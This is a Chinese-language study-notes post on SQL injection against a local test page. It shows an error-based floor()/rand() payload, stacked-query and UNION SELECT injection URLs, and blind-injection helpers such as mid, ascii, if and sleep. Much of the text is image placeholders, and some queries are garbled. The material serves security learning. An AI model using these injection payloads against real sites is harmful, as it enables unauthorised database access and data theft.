学习笔记—Sql注入深入学习

Sql注入深度学习
union注入
报错函数:floor()
在这里插入图片描述
在这里插入图片描述
select rand();
在这里插入图片描述
Select * from test where id = 1 and (select 1 from(select count(*),concat(user(),floor(rand(0)2))x from information_schema.tables group by x)a);
select 1 and (select 1 from(select count(
),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
在这里插入图片描述
http://127.0.0.1/7-27/index.php?id=1; select * from region limit 1
select * from region where id=1;select * from region limit 1;
set names gb2312;(乱码改正)

在这里插入图片描述
select * from region limit 3;
在这里插入图片描述
select 1;
select 1 as 2;
select 1 as s;
在这里插入图片描述
select md5(‘123456’);
在这里插入图片描述
盲注函数讲解
Mid 截取函数(无回显是会用到,盲注)
select mid(‘123456’,1,1);
select mid(‘admin’,1,1);
select mid(‘admin’,2,1);
select mid(‘admin’,3,1);
select mid(‘admin’,4,1);
select mid(‘admin’,5,1);
select mid(‘admin’,6,1);
在这里插入图片描述
在这里插入图片描述
select mid(‘admin’,1,2);
在这里插入图片描述
http://127.0.0.1/7-27/index.php
?id=1 UNION SELECT 1,2,mid(name,1,1),4 from jokedb.region
在这里插入图片描述
select mid(user(),1,6);
select mid(user(),7,14);
在这里插入图片描述
Char 编码变字符(0-9 a-z A-Z 特殊符号)
select char(115);
在这里插入图片描述
在这里插入图片描述
ascll 字符变编码
select ascii(‘a’);
在这里插入图片描述
在这里插入图片描述
If()逻辑判断
select if(1=1,1,2);
if(1=1){
return 1;
}else{
return 2;
}
在这里插入图片描述
select if(1=2,1,2);
在这里插入图片描述
select if(‘a’=‘a’,1,2);
select if(‘a’=‘b’,1,2);
在这里插入图片描述
select if(‘a’=‘A’,1,2);
在这里插入图片描述
Substr()截取字符
select substr(‘admin’,1,1);
在这里插入图片描述
select substr(‘admin’,1,4);
在这里插入图片描述
Length 返回字符长度
select length(‘admin’);
在这里插入图片描述
select length(‘你好’);
在这里插入图片描述
Cout()列明数量
select * from users;
在这里插入图片描述
select count(*) from users;
在这里插入图片描述
select count(ppp) from users;
在这里插入图片描述
Sleep()延时
mysql> select sleep(1);
mysql> select sleep(5);
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
注释符
select count(ppp) from users/wjysdfsdzxcvzx/;
在这里插入图片描述
select count(ppp) from users wjysdfsdzxcvzx;
在这里插入图片描述
select count(ppp) from users 12312312;
在这里插入图片描述
在这里插入图片描述
了解更多请关注下列公众号:
在这里插入图片描述

Logo

CSDN联合极客时间,共同打造面向开发者的精品内容学习社区,助力成长!

更多推荐